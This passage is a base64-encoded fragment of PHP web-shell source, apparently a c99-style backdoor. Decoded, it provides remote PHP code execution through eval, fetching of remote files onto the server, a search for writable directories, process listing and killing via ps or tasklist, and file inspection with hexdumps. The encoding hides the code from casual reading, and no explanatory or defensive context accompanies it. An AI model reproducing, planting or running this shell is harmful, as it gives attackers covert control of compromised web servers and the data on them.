ZlZCE8L2I+ICIuJGQuJGFyZzE7DQogICAgfQ0KICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNvdWxkbid0IHdyaXRlIHRvICRhcmcxITwvZGl2PiI7IH0NCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJkb3dubG9hZGJpbiIpIHsNCiAgICAkaGFuZGxlID0gZm9wZW4oJGFyZzEsICJyYiIpOw0KICAgICRjb250ZW50cyA9ICcnOw0KICAgIHdoaWxlICghZmVvZigkaGFuZGxlKSkgew0KICAgICAgJGNvbnRlbnRzIC49IGZyZWFkKCRoYW5kbGUsIDgxOTIpOw0KICAgIH0NCiAgICAkciA9IEBmb3BlbigkZC4kYXJnMiwndycpOw0KICAgIGlmIChmd3JpdGUoJHIsJGNvbnRlbnRzKSkgeyBlY2hvICI8Yj5TdWNjZXNzITwvYj4gJGFyZzEgc2F2ZWQgdG8gIi4kZC4kYXJnMi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kYXJnMikpLiIpIjsgfQ0KICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNvdWxkbid0IHdyaXRlIHRvICIuJGQuJGFyZzIuIiE8L2Rpdj4iOyB9DQogICAgZmNsb3NlKCRyKTsNCiAgICBmY2xvc2UoJGhhbmRsZSk7DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0iZG93bmxvYWQiKSB7DQogICAgJHRleHQgPSBpbXBsb2RlKCcnLCBmaWxlKCRhcmcxKSk7DQogICAgaWYgKCR0ZXh0KSB7DQogICAgICAkciA9IEBmb3BlbigkZC4kYXJnMiwndycpOw0KICAgICAgaWYgKGZ3cml0ZSgkciwkdGV4dCkpIHsgZWNobyAiPGI+U3VjY2VzcyE8L2I+ICRhcmcxIHNhdmVkIHRvICIuJGQuJGFyZzIuIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGFyZzIpKS4iKSI7IH0NCiAgICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNvdWxkbid0IHdyaXRlIHRvICIuJGQuJGFyZzIuIiE8L2Rpdj4iOyB9DQogICAgICBmY2xvc2UoJHIpOw0KICAgIH0NCiAgICBlbHNlIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz5Db3VsZG4ndCBkb3dubG9hZCBmcm9tICRhcmcxITwvZGl2PiI7fQ0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09J21rZGlyJykgew0KICAgICR0aGVkaXIgPSAkZC4kYXJnMTsNCiAgICBpZiAoJHRoZWRpciAhPSAkZCkgew0KICAgICAgaWYgKGZpbGVfZXhpc3RzKCR0aGVkaXIpKSB7IGVjaG8gIjxiPkFscmVhZHkgZXhpc3RzOjwvYj4gIi5odG1sc3BlY2lhbGNoYXJzKCR0aGVkaXIpOyB9DQogICAgICBlbHNlaWYgKCFta2RpcigkdGhlZGlyKSkgeyBlY2hvICI8Yj5BY2Nlc3MgZGVuaWVkOjwvYj4gIi5odG1sc3BlY2lhbGNoYXJzKCR0aGVkaXIpOyB9DQogICAgICBlbHNlIHsgZWNobyAiPGI+RGlyIGNyZWF0ZWQ6PC9iPiAiLmh0bWxzcGVjaWFsY2hhcnMoJHRoZWRpcik7fQ0KICAgIH0NCiAgICBlbHNlIHsgZWNobyAiQ291bGRuJ3QgY3JlYXRlIGN1cnJlbnQgZGlyOjxiPiAkdGhlZGlyPC9iPiI7IH0NCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSdmd3JpdGFibGVkaXInKSB7DQogICAgZnVuY3Rpb24gcmVjdXJzZV9kaXIoJGRpciwkbWF4X2Rpcikgew0KICAgICAgZ2xvYmFsICRkaXJfY291bnQ7DQogICAgICAkZGlyX2NvdW50Kys7DQogICAgICBpZiggJGNkaXIgPSBAZGlyKCRkaXIpICkgew0KICAgICAgICB3aGlsZSggJGVudHJ5ID0gJGNkaXItPiByZWFkKCkgKSB7DQogICAgICAgICAgaWYoICRlbnRyeSAhPSAnLicgJiYgJGVudHJ5ICE9ICcuLicgKSB7DQogICAgICAgICAgICBpZihpc19kaXIoJGRpci4kZW50cnkpICYmIGlzX3dyaXRhYmxlKCRkaXIuJGVudHJ5KSApIHsNCiAgICAgICAgICAgICBpZiAoJGRpcl9jb3VudCA+ICRtYXhfZGlyKSB7IHJldHVybjsgfQ0KICAgICAgICAgICAgICBlY2hvICJbIi4kZGlyX2NvdW50LiJdICIuJGRpci4kZW50cnkuIlxuIjsNCiAgICAgICAgICAgICAgcmVjdXJzZV9kaXIoJGRpci4kZW50cnkuRElSRUNUT1JZX1NFUEFSQVRPUiwkbWF4X2Rpcik7DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICRjZGlyLT5jbG9zZSgpOw0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoISRhcmcxKSB7ICRhcmcxID0gJGQ7IH0NCiAgICBpZiAoISRhcmcyKSB7ICRhcmcyID0gMTA7IH0NCiAgICBlY2hvICI8Yj5Xcml0YWJsZSBkaXJlY3RvcmllcyAoTWF4OiAkYXJnMikgaW46PC9iPiAkYXJnMTxicj4iOw0KICAgIGVjaG8gIjxwcmU+IjsNCiAgICByZWN1cnNlX2RpcigkYXJnMSwkYXJnMik7DQogICAgZWNobyAiPC9wcmU+IjsNCiAgICAkdG90YWwgPSAkZGlyX2NvdW50IC0gMTsNCiAgICBlY2hvICI8Yj5Gb3VuZHM6PC9iPiAiLiR0b3RhbC4iIG9mIDxiPk1heDwvYj4gJGFyZzIiOw0KICB9DQogIGVsc2Ugew0KICAgIGlmICghJGFyZzEpIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz5ObyBvcGVyYXRpb24hIFBsZWFzZSBmaWxsIHBhcmFtZXRlciBbQV0hPC9kaXY+XG4iOyB9DQogICAgZWxzZSB7DQogICAgICBpZiAoJGhhc2lsID0gJGZzZnVuYygkYXJnMSkpIHsNCiAgICAgICAgZWNobyAiPGI+UmVzdWx0IG9mICRmc2Z1bmMgJGFyZzE6PC9iPjxicj4iOw0KICAgICAgICBpZiAoIWlzX2FycmF5KCRoYXNpbCkpIHsgZWNobyAiJGhhc2lsXG4iOyB9DQogICAgICAgIGVsc2Ugew0KICAgICAgICAgIGVjaG8gIjxwcmU+IjsNCiAgICAgICAgICBmb3JlYWNoICgkaGFzaWwgYXMgJHYpIHsgZWNobyAkdi4iXG4iOyB9DQogICAgICAgICAgZWNobyAiPC9wcmU+IjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgZWxzZSB7IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+JGZzZnVuYyAkYXJnMSBmYWlsZWQhPC9kaXY+XG4iOyB9DQogICAgfQ0KICB9DQogIGVjaG8gIjwvZGl2PlxuIjsNCn0NCmlmICgkYWN0ID09ICJwcm9jZXNzZXMiKSB7DQogIGVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPi46IFByb2Nlc3NlcyA6LjwvZGl2PiI7DQogIGlmICghJHdpbikgeyAkaGFuZGxlciA9ICJwcyAtYXV4Ii4oJGdyZXA/IiB8IGdyZXAgJyIuYWRkc2xhc2hlcygkZ3JlcCkuIiciOiIiKTsgfQ0KICBlbHNlIHsgJGhhbmRsZXIgPSAidGFza2xpc3QiOyB9DQogICRyZXQgPSBteXNoZWxsZXhlYygkaGFuZGxlcik7DQogIGlmICghJHJldCkgeyBlY2hvICJDYW4ndCBleGVjdXRlIFwiIi4kaGFuZGxlci4iXCIhIjsgfQ0KICBlbHNlIHsNCiAgICBpZiAoZW1wdHkoJHByb2Nlc3Nlc19zb3J0KSkgeyRwcm9jZXNzZXNfc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQ0KICAgICRwYXJzZXNvcnQgPSBwYXJzZXNvcnQoJHByb2Nlc3Nlc19zb3J0KTsNCiAgICBpZiAoIWlzX251bWVyaWMoJHBhcnNlc29ydFswXSkpIHskcGFyc2Vzb3J0WzBdID0gMDt9DQogICAgJGsgPSAkcGFyc2Vzb3J0WzBdOw0KICAgIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikgew0KICAgICAgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImFcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfZGVzY1wiIGJvcmRlcj1cIjBcIj48L2E+IjsNCiAgICB9DQogICAgZWxzZSB7DQogICAgICAkeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9hc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+IjsNCiAgICB9DQogICAgJHJldCA9IGh0bWxzcGVjaWFsY2hhcnMoJHJldCk7DQogICAgaWYgKCEkd2luKSB7DQogICAgICBpZiAoJHBpZCkgew0KICAgICAgICBpZiAoaXNfbnVsbCgkc2lnKSkgeyRzaWcgPSA5O30NCiAgICAgICAgZWNobyAiU2VuZGluZyBzaWduYWwgIi4kc2lnLiIgdG8gIyIuJHBpZC4iLi4uICI7DQogICAgICAgIGlmIChwb3NpeF9raWxsKCRwaWQsJHNpZykpIHtlY2hvICJPSy4iO30NCiAgICAgICAgZWxzZSB7ZWNobyAiRVJST1IuIjt9DQogICAgICB9DQogICAgICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiAiLCRyZXQpO30NCiAgICAgICRzdGFjayA9IGV4cGxvZGUoIlxuIiwkcmV0KTsNCiAgICAgICRoZWFkID0gZXhwbG9kZSgiICIsJHN0YWNrWzBdKTsNCiAgICAgIHVuc2V0KCRzdGFja1swXSk7DQogICAgICBmb3IoJGk9MDskaTxjb3VudCgkaGVhZCk7JGkrKykgew0KICAgICAgICBpZiAoJGkgIT0gJGspIHskaGVhZFskaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+PGI+Ii4kaGVhZFskaV0uIjwvYj48L2E+Ijt9DQogICAgICB9DQogICAgICAkcHJjcyA9IGFycmF5KCk7DQogICAgICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkbGluZSkpIHsNCiAgICAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIiAiLCRsaW5lKTsNCiAgICAgICAgICAkbGluZVsxMF0gPSBqb2luKCIgIixhcnJheV9zbGljZSgkbGluZSwxMCkpOw0KICAgICAgICAgICRsaW5lID0gYXJyYXlfc2xpY2UoJGxpbmUsMCwxMSk7DQogICAgICAgICAgaWYgKCRsaW5lWzBdID09IGdldF9jdXJyZW50X3VzZXIoKSkgeyRsaW5lWzBdID0gIjxmb250IGNvbG9yPWdyZWVuPiIuJGxpbmVbMF0uIjwvZm9udD4iO30NCiAgICAgICAgICAkbGluZVtdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmQ9Ii51cmxlbmNvZGUoJGQpLiImcGlkPSIuJGxpbmVbMV0uIiZzaWc9OVwiPjx1PktJTEw8L3U+PC9hPiI7DQogICAgICAgICAgJHByY3NbXSA9ICRsaW5lOw0KICAgICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICANCiAgICBlbHNlIHsNCiAgICAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICIsJHJldCk7fQ0KICAgICAgd2hpbGUgKGVyZWcoIj0iLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCI9IiwiIiwkcmV0KTt9DQogICAgICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7DQogICAgICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7DQogICAgICB1bnNldCgkc3RhY2tbMF0sJHN0YWNrWzJdKTsNCiAgICAgICRzdGFjayA9IGFycmF5X3ZhbHVlcygkc3RhY2spOw0KICAgICAgJHN0YWNrWzBdPXN0cl9yZXBsYWNlKCJJbWFnZSBOYW1lIiwiSW1hZ2VOYW1lIiwkc3RhY2tbMF0pOw0KICAgICAgJHN0YWNrWzBdPXN0cl9yZXBsYWNlKCJTZXNzaW9uIE5hbWUiLCJTZXNzaW9uTmFtZSIsJHN0YWNrWzBdKTsNCiAgICAgICRzdGFja1swXT1zdHJfcmVwbGFjZSgiTWVtIFVzYWdlIiwiTWVtb3J5VXNhZ2UiLCRzdGFja1swXSk7DQogICAgICAkaGVhZCA9IGV4cGxvZGUoIiAiLCRzdGFja1swXSk7DQogICAgICAkc3RhY2sgPSBhcnJheV9zbGljZSgkc3RhY2ssMSk7DQogICAgICAkaGVhZCA9IGFycmF5X3ZhbHVlcygkaGVhZCk7DQogICAgICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHsgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImFcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfZGVzY1wiIGJvcmRlcj1cIjBcIj48L2E+IjsgfQ0KICAgICAgZWxzZSB7ICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJkXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0X2FzY1wiIGJvcmRlcj1cIjBcIj48L2E+IjsgfQ0KICAgICAgaWYgKCRrID4gY291bnQoJGhlYWQpKSB7JGsgPSBjb3VudCgkaGVhZCktMTt9DQogICAgICBmb3IoJGk9MDskaTxjb3VudCgkaGVhZCk7JGkrKykgew0KICAgICAgICBpZiAoJGkgIT0gJGspIHsgJGhlYWRbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPjxiPiIudHJpbSgkaGVhZFskaV0pLiI8L2I+PC9hPiI7IH0NCiAgICAgIH0NCiAgICAgICRwcmNzID0gYXJyYXkoKTsNCiAgICAgIHVuc2V0KCRzdGFja1swXSk7DQogICAgICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkbGluZSkpIHsNCiAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIiAiLCRsaW5lKTsNCiAgICAgICAgICAkbGluZVs0XSA9IHN0cl9yZXBsYWNlKCIuIiwiIiwkbGluZVs0XSk7DQogICAgICAgICAgJGxpbmVbNF0gPSBpbnR2YWwoJGxpbmVbNF0pICogMTAyNDsNCiAgICAgICAgICB1bnNldCgkbGluZVs1XSk7DQogICAgICAgICAgJHByY3NbXSA9ICRsaW5lOw0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICAgICRoZWFkWyRrXSA9ICI8Yj4iLiRoZWFkWyRrXS4iPC9iPiIuJHk7DQogICAgJHYgPSAkcHJvY2Vzc2VzX3NvcnRbMF07DQogICAgdXNvcnQoJHByY3MsInRhYnNvcnQiKTsNCiAgICBpZiAoJHByb2Nlc3Nlc19zb3J0WzFdID09ICJkIikgeyRwcmNzID0gYXJyYXlfcmV2ZXJzZSgkcHJjcyk7fQ0KICAgICR0YWIgPSBhcnJheSgpOw0KICAgICR0YWJbXSA9ICRoZWFkOw0KICAgICR0YWIgPSBhcnJheV9tZXJnZSgkdGFiLCRwcmNzKTsNCiAgICBlY2hvICI8dGFibGUgY2xhc3M9ZXhwbG9yZXI+IjsNCiAgICBmb3JlYWNoKCR0YWIgYXMgJGk9PiRrKSB7DQogICAgICBlY2hvICI8dHI+IjsNCiAgICAgIGZvcmVhY2goJGsgYXMgJGo9PiR2KSB7DQogICAgICAgIGlmICgkd2luIGFuZCAkaSA+IDAgYW5kICRqID09IDQpIHskdiA9IHZpZXdfc2l6ZSgkdik7fQ0KICAgICAgICBlY2hvICI8dGQ+Ii4kdi4iPC90ZD4iOw0KICAgICAgfQ0KICAgICAgZWNobyAiPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICI8L3RhYmxlPiI7DQogIH0NCn0NCmlmICgkYWN0ID09ICJldmFsIikgew0KICBpZiAoIWVtcHR5KCRldmFsKSkgew0KICAgIGVjaG8gIlJlc3VsdCBvZiBleGVjdXRpb24gdGhpcyBQSFAtY29kZTo8YnI+IjsNCiAgICAkdG1wID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7DQogICAgQGNoZGlyKCRkKTsNCiAgICBpZiAoJHRtcCkgew0KICAgICAgb2JfY2xlYW4oKTsNCiAgICAgIGV2YWwoJGV2YWwpOw0KICAgICAgJHJldCA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgICAgb2JfY2xlYW4oKTsNCiAgICAgIGVjaG8gJHRtcDsNCiAgICAgIGlmICgkZXZhbF90eHQpIHsNCiAgICAgICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsNCiAgICAgICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgICAgICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC90ZXh0YXJlYT4iOw0KICAgICAgfQ0KICAgICAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9DQogICAgfQ0KICAgIGVsc2Ugew0KICAgICAgaWYgKCRldmFsX3R4dCkgew0KICAgICAgICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiMTVcIiByZWFkb25seT4iOw0KICAgICAgICBldmFsKCRldmFsKTsNCiAgICAgICAgZWNobyAiPC90ZXh0YXJlYT4iOw0KICAgICAgfQ0KICAgICAgZWxzZSB7ZWNobyAkcmV0O30NCiAgICB9DQogICAgQGNoZGlyKCRvbGRkaXIpOw0KICB9DQogIGVsc2Uge2VjaG8gIjxiPlBIUC1jb2RlIEV4ZWN1dGlvbiAoVXNlIHdpdGhvdXQgUEhQIEJyYWNlcyEpPC9iPiI7IGlmIChlbXB0eSgkZXZhbF90eHQpKSB7JGV2YWxfdHh0ID0gVFJVRTt9fQ0KICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ZXZhbD48dGV4dGFyZWEgbmFtZT1cImV2YWxcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRldmFsKS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj4mbmJzcDtEaXNwbGF5IGluIHRleHQtYXJlYSZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZXZhbF90eHRcIiB2YWx1ZT1cIjFcIiI7IGlmICgkZXZhbF90eHQpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PC9mb3JtPiI7DQp9DQppZiAoJGFjdCA9PSAiZiIpIHsNCiAgZWNobyAiPGRpdiBhbGlnbj1sZWZ0PiI7DQogIGlmICgoIWlzX3JlYWRhYmxlKCRkLiRmKSBvciBpc19kaXIoJGQuJGYpKSBhbmQgJGZ0ICE9ICJlZGl0Iikgew0KICAgIGlmIChmaWxlX2V4aXN0cygkZC4kZikpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5pZWQgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjwvY2VudGVyPiI7fQ0KICAgIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+RmlsZSBkb2VzIG5vdCBleGlzdHMgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjxicj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1lZGl0JmQ9Ii51cmxlbmNvZGUoJGQpLiImYz0xXCI+PHU+Q3JlYXRlPC91PjwvYT48L2NlbnRlcj4iO30NCiAgfQ0KICBlbHNlIHsNCiAgICAkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7DQogICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsNCiAgICAkYyA9IGNvdW50KCRleHQpLTE7DQogICAgJGV4dCA9ICRleHRbJGNdOw0KICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAgICRyZnQgPSAiIjsNCiAgICBmb3JlYWNoKCRmdHlwZXMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9fQ0KICAgIGlmIChlcmVnaSgic2Vzc18oLiopIiwkZikpIHskcmZ0ID0gInBocHNlc3MiO30NCiAgICBpZiAoZW1wdHkoJGZ0KSkgeyRmdCA9ICRyZnQ7fQ0KICAgICRhcnIgPSBhcnJheSgNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGJvcmRlcj1cIjBcIj4iLCJpbmZvIiksDQogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9odG1sXCIgYm9yZGVyPVwiMFwiPiIsImh0bWwiKSwNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X3R4dFwiIGJvcmRlcj1cIjBcIj4iLCJ0eHQiKSwNCiAgICAgICAgYXJyYXkoIkNvZGUiLCJjb2RlIiksDQogICAgICAgIGFycmF5KCJTZXNzaW9uIiwicGhwc2VzcyIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZXhlXCIgYm9yZGVyPVwiMFwiPiIsImV4ZSIpLA0KICAgICAgICBhcnJheSgiU0RCIiwic2RiIiksDQogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9naWZcIiBib3JkZXI9XCIwXCI+IiwiaW1nIiksDQogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9pbmlcIiBib3JkZXI9XCIwXCI+IiwiaW5pIiksDQogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWRvd25sb2FkXCIgYm9yZGVyPVwiMFwiPiIsImRvd25sb2FkIiksDQogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9ydGZcIiBib3JkZXI9XCIwXCI+Iiwibm90ZXBhZCIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBib3JkZXI9XCIwXCI+IiwiZWRpdCIpDQogICAgKTsNCiAgICBlY2hvICI8Yj5WaWV3aW5nIGZpbGU6Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kZi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiIpICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYj48YnI+U2VsZWN0IGFjdGlvbi9maWxlLXR5cGU6PGJyPiI7DQogICAgZm9yZWFjaCgkYXJyIGFzICR0KSB7DQogICAgICBpZiAoJHRbMV0gPT0gJHJmdCkge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxmb250IGNvbG9yPWdyZWVuPiIuJHRbMF0uIjwvZm9udD48L2E+Ijt9DQogICAgICBlbHNlaWYgKCR0WzFdID09ICRmdCkge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPjx1PiIuJHRbMF0uIjwvdT48L2I+PC9hPiI7fQ0KICAgICAgZWxzZSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+Ii4kdFswXS4iPC9iPjwvYT4iO30NCiAgICAgIGVjaG8gIiAoPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJndoaXRlPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiIHRhcmdldD1cIl9ibGFua1wiPis8L2E+KSB8IjsNCiAgICB9DQogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgIGlmICgkZnQgPT0gImluZm8iKSB7DQogICAgICBlY2hvICI8Yj5JbmZvcm1hdGlvbjo8L2I+PHRhYmxlIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxiPlBhdGg8L2I+PC90ZD48dGQ+ICIuJGQuJGYuIjwvdGQ+PC90cj48dHI+PHRkPjxiPlNpemU8L2I+PC90ZD48dGQ+ICIudmlld19zaXplKGZpbGVzaXplKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1ENTwvYj48L3RkPjx0ZD4gIi5tZDVfZmlsZSgkZC4kZikuIjwvdGQ+PC90cj4iOw0KICAgICAgaWYgKCEkd2luKSB7DQogICAgICAgIGVjaG8gIjx0cj48dGQ+PGI+T3duZXIvR3JvdXA8L2I+PC90ZD48dGQ+ICI7DQogICAgICAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZC4kZikpOw0KICAgICAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQuJGYpKTsNCiAgICAgICAgZWNobyAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkLiRmKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQuJGYpKTsNCiAgICAgIH0NCiAgICAgIGVjaG8gIjx0cj48dGQ+PGI+UGVybXM8L2I+PC90ZD48dGQ+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1jaG1vZCZmPSIudXJsZW5jb2RlKCRmKS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4iLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiI8L2E+PC90ZD48L3RyPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICRmaSA9IGZvcGVuKCRkLiRmLCJyYiIpOw0KICAgICAgaWYgKCRmaSkgew0KICAgICAgICBpZiAoJGZ1bGxoZXhkdW1wKSB7ZWNobyAiPGI+RlVMTCBIRVhEVU1QPC9iPiI